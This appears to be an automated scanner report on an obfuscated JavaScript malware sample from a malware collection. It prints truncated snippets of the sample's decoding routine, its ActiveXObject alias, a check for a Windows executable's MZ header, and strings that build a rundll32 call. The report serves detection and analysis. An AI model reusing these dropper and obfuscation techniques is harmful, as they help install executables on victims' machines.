Suspicious ^66% javascript-malware-collection Download

20161221_44598180066b9d144a383fec8bd9b066.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256e5ef6989a50565963d3f792fa61e91f70f918bb8792d1158745d7eb3ebe824f2

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikbeijingFROG2XCOP = 0;	
9     var SupchikbeijingRazlomSS, SupchikbeijingFROG2ddDccC2, SupchikbeijingFROG2c3, SupchikbeijingFROG2c4;
10
11     var SupchikbeijingFROG2out = "";
12
13	 var SupchikbeijingFROG2Supchikbeijingka= this.replace(/FROSTICK/gi, SupchikbeijingFROG2out);
14 var  SupchikbeijingFROG2len = SupchikbeijingFROG2sud(Su …

charCodeAt() method call lines 18–20

	 var Supchikbeijingkoch = SupchikbeijingFROG2Supchikbeijingka.charCodeAt(SupchikbeijingFROG2XCOP++) &(0x132- 0x33);
          SupchikbeijingRazlomSS = levitron[Supchikbeijingkoch];
      } while (SupchikbeijingFROG2XCOP < Supchikbeijin …

Builds characters with String.fromCharCode lines 27–30

39…  +1== 0)
          break;
      SupchikbeijingFROG2out += String['fromCharCode']((SupchikbeijingRazlomSS << 2) | ((SupchikbeijingFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikbeijingFROG2c3 = Supchikbe …

ActiveXObject via local alias lines 185–188

185:16… jingFROG2d2=SupchikbeijingFROG2DoUtra.pop();
186SupchikbeijingFROG2fabled="Valar2Morgulis";
187 var SupchikbeijingFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikbeijingFROG2d2.split("45");SupchikbeijingFROG2Native.SupchikbeijingFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikbeijingFROG2$type(a)===b})};
 …

Checks array for PE magic bytes lines 257–264

72… gTalabaev);	
if(SupchikbeijingTalabaevLaa < 29989)return false;
if (SupchikbeijingTalabaev[0]!= 77 || SupchikbeijingTalabaev[1]!= 90)return false;		
SupchikbeijingFROG2CHICKA = SupchikbeijingFROG2CHICKA  + SupchikbeijingFROG2SIDRENKOV;
REBEKK2(SupchikbeijingFROG2CHICKA, SupchikbeijingTalabaev );
262
var SupchikbeijingFROG2ddsSSddSd = ",happy";
264SupchikbeijingFROG2ddsSSddSd = (SupchikbeijingFROG2StrokaParam2,"undl") + (SupchikbeijingFROG2StrokaParam2,"l32 ") + Supchikb …